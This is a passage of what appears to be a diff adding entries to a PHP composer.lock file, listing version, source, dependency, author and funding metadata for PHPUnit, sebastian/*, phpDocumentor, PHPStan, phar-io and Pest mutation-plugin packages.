"https://api.github.com/repos/pestphp/pest-plugin-mutate/zipball/e10dbdc98c9e2f3890095b4fe2144f63a5717e08", + "reference": "e10dbdc98c9e2f3890095b4fe2144f63a5717e08", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^5.2.0", + "pestphp/pest-plugin": "^3.0.0", + "php": "^8.2", + "psr/simple-cache": "^3.0.0" + }, + "require-dev": { + "pestphp/pest": "^3.0.8", + "pestphp/pest-dev-tools": "^3.0.0", + "pestphp/pest-plugin-type-coverage": "^3.0.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Pest\\Mutate\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Sandro Gehri", + "email": "sandrogehri@gmail.com" + } + ], + "description": "Mutates your code to find untested cases", + "keywords": [ + "framework", + "mutate", + "mutation", + "pest", + "php", + "plugin", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin-mutate/tree/v3.0.5" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/gehrisandro", + "type": "github" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + } + ], + "time": "2024-09-22T07:54:40+00:00" + }, + { + "name": "phar-io/manifest", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "54750ef60c58e43759730615a392c31c80e23176" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/54750ef60c58e43759730615a392c31c80e23176", + "reference": "54750ef60c58e43759730615a392c31c80e23176", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-phar": "*", + "ext-xmlwriter": "*", + "phar-io/version": "^3.0.1", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "support": { + "issues": "https://github.com/phar-io/manifest/issues", + "source": "https://github.com/phar-io/manifest/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2024-03-03T12:33:53+00:00" + }, + { + "name": "phar-io/version", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "support": { + "issues": "https://github.com/phar-io/version/issues", + "source": "https://github.com/phar-io/version/tree/3.2.1" + }, + "time": "2022-02-21T01:04:05+00:00" + }, + { + "name": "phpdocumentor/reflection-common", + "version": "2.2.0", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/ReflectionCommon.git", + "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b", + "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-2.x": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jaap van Otterdijk", + "email": "opensource@ijaap.nl" + } + ], + "description": "Common reflection classes used by phpdocumentor to reflect the code structure", + "homepage": "http://www.phpdoc.org", + "keywords": [ + "FQSEN", + "phpDocumentor", + "phpdoc", + "reflection", + "static analysis" + ], + "support": { + "issues": "https://github.com/phpDocumentor/ReflectionCommon/issues", + "source": "https://github.com/phpDocumentor/ReflectionCommon/tree/2.x" + }, + "time": "2020-06-27T09:03:43+00:00" + }, + { + "name": "phpdocumentor/reflection-docblock", + "version": "6.0.3", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", + "reference": "7bae67520aa9f5ecc506d646810bd40d9da54582" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/7bae67520aa9f5ecc506d646810bd40d9da54582", + "reference": "7bae67520aa9f5ecc506d646810bd40d9da54582", + "shasum": "" + }, + "require": { + "doctrine/deprecations": "^1.1", + "ext-filter": "*", + "php": "^7.4 || ^8.0", + "phpdocumentor/reflection-common": "^2.2", + "phpdocumentor/type-resolver": "^2.0", + "phpstan/phpdoc-parser": "^2.0", + "webmozart/assert": "^1.9.1 || ^2" + }, + "require-dev": { + "mockery/mockery": "~1.3.5 || ~1.6.0", + "phpstan/extension-installer": "^1.1", + "phpstan/phpstan": "^1.8", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-webmozart-assert": "^1.2", + "phpunit/phpunit": "^9.5", + "psalm/phar": "^5.26", + "shipmonk/dead-code-detector": "^0.5.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mike van Riel", + "email": "me@mikevanriel.com" + }, + { + "name": "Jaap van Otterdijk", + "email": "opensource@ijaap.nl" + } + ], + "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", + "support": { + "issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues", + "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/6.0.3" + }, + "time": "2026-03-18T20:49:53+00:00" + }, + { + "name": "phpdocumentor/type-resolver", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/phpDocumentor/TypeResolver.git", + "reference": "327a05bbee54120d4786a0dc67aad30226ad4cf9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/327a05bbee54120d4786a0dc67aad30226ad4cf9", + "reference": "327a05bbee54120d4786a0dc67aad30226ad4cf9", + "shasum": "" + }, + "require": { + "doctrine/deprecations": "^1.0", + "php": "^7.4 || ^8.0", + "phpdocumentor/reflection-common": "^2.0", + "phpstan/phpdoc-parser": "^2.0" + }, + "require-dev": { + "ext-tokenizer": "*", + "phpbench/phpbench": "^1.2", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-phpunit": "^2.0", + "phpunit/phpunit": "^9.5", + "psalm/phar": "^4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-1.x": "1.x-dev", + "dev-2.x": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "phpDocumentor\\Reflection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mike van Riel", + "email": "me@mikevanriel.com" + } + ], + "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", + "support": { + "issues": "https://github.com/phpDocumentor/TypeResolver/issues", + "source": "https://github.com/phpDocumentor/TypeResolver/tree/2.0.0" + }, + "time": "2026-01-06T21:53:42+00:00" + }, + { + "name": "phpstan/phpstan", + "version": "2.2.5", + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/909c1e5fef7989ac0d0c1c5c42e32a5c4f6198a0", + "reference": "909c1e5fef7989ac0d0c1c5c42e32a5c4f6198a0", + "shasum": "" + }, + "require": { + "php": "^7.4|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ondřej Mirtes" + }, + { + "name": "Markus Staab" + }, + { + "name": "Vincent Langlet" + } + ], + "description": "PHPStan - PHP Static Analysis Tool", + "keywords": [ + "dev", + "static analysis" + ], + "support": { + "docs": "https://phpstan.org/user-guide/getting-started", + "forum": "https://github.com/phpstan/phpstan/discussions", + "issues": "https://github.com/phpstan/phpstan/issues", + "security": "https://github.com/phpstan/phpstan/security/policy", + "source": "https://github.com/phpstan/phpstan-src" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + } + ], + "time": "2026-07-05T06:31:06+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "11.0.12", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "2c1ed04922802c15e1de5d7447b4856de949cf56" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/2c1ed04922802c15e1de5d7447b4856de949cf56", + "reference": "2c1ed04922802c15e1de5d7447b4856de949cf56", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-xmlwriter": "*", + "nikic/php-parser": "^5.7.0", + "php": ">=8.2", + "phpunit/php-file-iterator": "^5.1.0", + "phpunit/php-text-template": "^4.0.1", + "sebastian/code-unit-reverse-lookup": "^4.0.1", + "sebastian/complexity": "^4.0.1", + "sebastian/environment": "^7.2.1", + "sebastian/lines-of-code": "^3.0.1", + "sebastian/version": "^5.0.2", + "theseer/tokenizer": "^1.3.1" + }, + "require-dev": { + "phpunit/phpunit": "^11.5.46" + }, + "suggest": { + "ext-pcov": "PHP extension that provides line coverage", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "11.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": [ + "coverage", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", + "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/11.0.12" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/php-code-coverage", + "type": "tidelift" + } + ], + "time": "2025-12-24T07:01:01+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "5.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "2f3a64888c814fc235386b7387dd5b5ed92ad903" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/2f3a64888c814fc235386b7387dd5b5ed92ad903", + "reference": "2f3a64888c814fc235386b7387dd5b5ed92ad903", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", + "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy", + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/5.1.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/php-file-iterator", + "type": "tidelift" + } + ], + "time": "2026-02-02T13:52:54+00:00" + }, + { + "name": "phpunit/php-invoker", + "version": "5.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-invoker.git", + "reference": "c1ca3814734c07492b3d4c5f794f4b0995333da2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/c1ca3814734c07492b3d4c5f794f4b0995333da2", + "reference": "c1ca3814734c07492b3d4c5f794f4b0995333da2", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "ext-pcntl": "*", + "phpunit/phpunit": "^11.0" + }, + "suggest": { + "ext-pcntl": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Invoke callables with a timeout", + "homepage": "https://github.com/sebastianbergmann/php-invoker/", + "keywords": [ + "process" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-invoker/issues", + "security": "https://github.com/sebastianbergmann/php-invoker/security/policy", + "source": "https://github.com/sebastianbergmann/php-invoker/tree/5.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T05:07:44+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "4.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "3e0404dc6b300e6bf56415467ebcb3fe4f33e964" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/3e0404dc6b300e6bf56415467ebcb3fe4f33e964", + "reference": "3e0404dc6b300e6bf56415467ebcb3fe4f33e964", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-text-template/issues", + "security": "https://github.com/sebastianbergmann/php-text-template/security/policy", + "source": "https://github.com/sebastianbergmann/php-text-template/tree/4.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T05:08:43+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "7.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "3b415def83fbcb41f991d9ebf16ae4ad8b7837b3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/3b415def83fbcb41f991d9ebf16ae4ad8b7837b3", + "reference": "3b415def83fbcb41f991d9ebf16ae4ad8b7837b3", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "7.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + "homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-timer/issues", + "security": "https://github.com/sebastianbergmann/php-timer/security/policy", + "source": "https://github.com/sebastianbergmann/php-timer/tree/7.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T05:09:35+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "11.5.56", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "5f83edffa6967c3db468d48a695ec7bcb02e9256" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/5f83edffa6967c3db468d48a695ec7bcb02e9256", + "reference": "5f83edffa6967c3db468d48a695ec7bcb02e9256", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-filter": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.13.4", + "phar-io/manifest": "^2.0.4", + "phar-io/version": "^3.2.1", + "php": ">=8.2", + "phpunit/php-code-coverage": "^11.0.12", + "phpunit/php-file-iterator": "^5.1.1", + "phpunit/php-invoker": "^5.0.1", + "phpunit/php-text-template": "^4.0.1", + "phpunit/php-timer": "^7.0.1", + "sebastian/cli-parser": "^3.0.2", + "sebastian/code-unit": "^3.0.3", + "sebastian/comparator": "^6.3.3", + "sebastian/diff": "^6.0.2", + "sebastian/environment": "^7.2.1", + "sebastian/exporter": "^6.3.2", + "sebastian/global-state": "^7.0.2", + "sebastian/object-enumerator": "^6.0.1", + "sebastian/recursion-context": "^6.0.3", + "sebastian/type": "^5.1.3", + "sebastian/version": "^5.0.2", + "staabm/side-effects-detector": "^1.0.5" + }, + "suggest": { + "ext-soap": "To be able to generate mocks based on WSDL files" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "11.5-dev" + } + }, + "autoload": { + "files": [ + "src/Framework/Assert/Functions.php" + ], + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/phpunit/issues", + "security": "https://github.com/sebastianbergmann/phpunit/security/policy", + "source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.56" + }, + "funding": [ + { + "url": "https://phpunit.de/sponsoring.html", + "type": "other" + } + ], + "time": "2026-07-06T14:52:39+00:00" + }, + { + "name": "sebastian/cli-parser", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/cli-parser.git", + "reference": "15c5dd40dc4f38794d383bb95465193f5e0ae180" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/15c5dd40dc4f38794d383bb95465193f5e0ae180", + "reference": "15c5dd40dc4f38794d383bb95465193f5e0ae180", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for parsing CLI options", + "homepage": "https://github.com/sebastianbergmann/cli-parser", + "support": { + "issues": "https://github.com/sebastianbergmann/cli-parser/issues", + "security": "https://github.com/sebastianbergmann/cli-parser/security/policy", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/3.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:41:36+00:00" + }, + { + "name": "sebastian/code-unit", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit.git", + "reference": "54391c61e4af8078e5b276ab082b6d3c54c9ad64" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/54391c61e4af8078e5b276ab082b6d3c54c9ad64", + "reference": "54391c61e4af8078e5b276ab082b6d3c54c9ad64", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the PHP code units", + "homepage": "https://github.com/sebastianbergmann/code-unit", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit/issues", + "security": "https://github.com/sebastianbergmann/code-unit/security/policy", + "source": "https://github.com/sebastianbergmann/code-unit/tree/3.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2025-03-19T07:56:08+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "4.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "183a9b2632194febd219bb9246eee421dad8d45e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/183a9b2632194febd219bb9246eee421dad8d45e", + "reference": "183a9b2632194febd219bb9246eee421dad8d45e", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", + "security": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/security/policy", + "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/4.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:45:54+00:00" + }, + { + "name": "sebastian/comparator", + "version": "6.3.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "2c95e1e86cb8dd41beb8d502057d1081ccc8eca9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/2c95e1e86cb8dd41beb8d502057d1081ccc8eca9", + "reference": "2c95e1e86cb8dd41beb8d502057d1081ccc8eca9", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-mbstring": "*", + "php": ">=8.2", + "sebastian/diff": "^6.0", + "sebastian/exporter": "^6.0" + }, + "require-dev": { + "phpunit/phpunit": "^11.4" + }, + "suggest": { + "ext-bcmath": "For comparing BcMath\\Number objects" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.3-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/comparator/issues", + "security": "https://github.com/sebastianbergmann/comparator/security/policy", + "source": "https://github.com/sebastianbergmann/comparator/tree/6.3.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/comparator", + "type": "tidelift" + } + ], + "time": "2026-01-24T09:26:40+00:00" + }, + { + "name": "sebastian/complexity", + "version": "4.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/complexity.git", + "reference": "ee41d384ab1906c68852636b6de493846e13e5a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/ee41d384ab1906c68852636b6de493846e13e5a0", + "reference": "ee41d384ab1906c68852636b6de493846e13e5a0", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^5.0", + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for calculating the complexity of PHP code units", + "homepage": "https://github.com/sebastianbergmann/complexity", + "support": { + "issues": "https://github.com/sebastianbergmann/complexity/issues", + "security": "https://github.com/sebastianbergmann/complexity/security/policy", + "source": "https://github.com/sebastianbergmann/complexity/tree/4.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:49:50+00:00" + }, + { + "name": "sebastian/diff", + "version": "6.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "b4ccd857127db5d41a5b676f24b51371d76d8544" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/b4ccd857127db5d41a5b676f24b51371d76d8544", + "reference": "b4ccd857127db5d41a5b676f24b51371d76d8544", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/diff/issues", + "security": "https://github.com/sebastianbergmann/diff/security/policy", + "source": "https://github.com/sebastianbergmann/diff/tree/6.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:53:05+00:00" + }, + { + "name": "sebastian/environment", + "version": "7.2.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "a5c75038693ad2e8d4b6c15ba2403532647830c4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/a5c75038693ad2e8d4b6c15ba2403532647830c4", + "reference": "a5c75038693ad2e8d4b6c15ba2403532647830c4", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.3" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "7.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "https://github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/environment/issues", + "security": 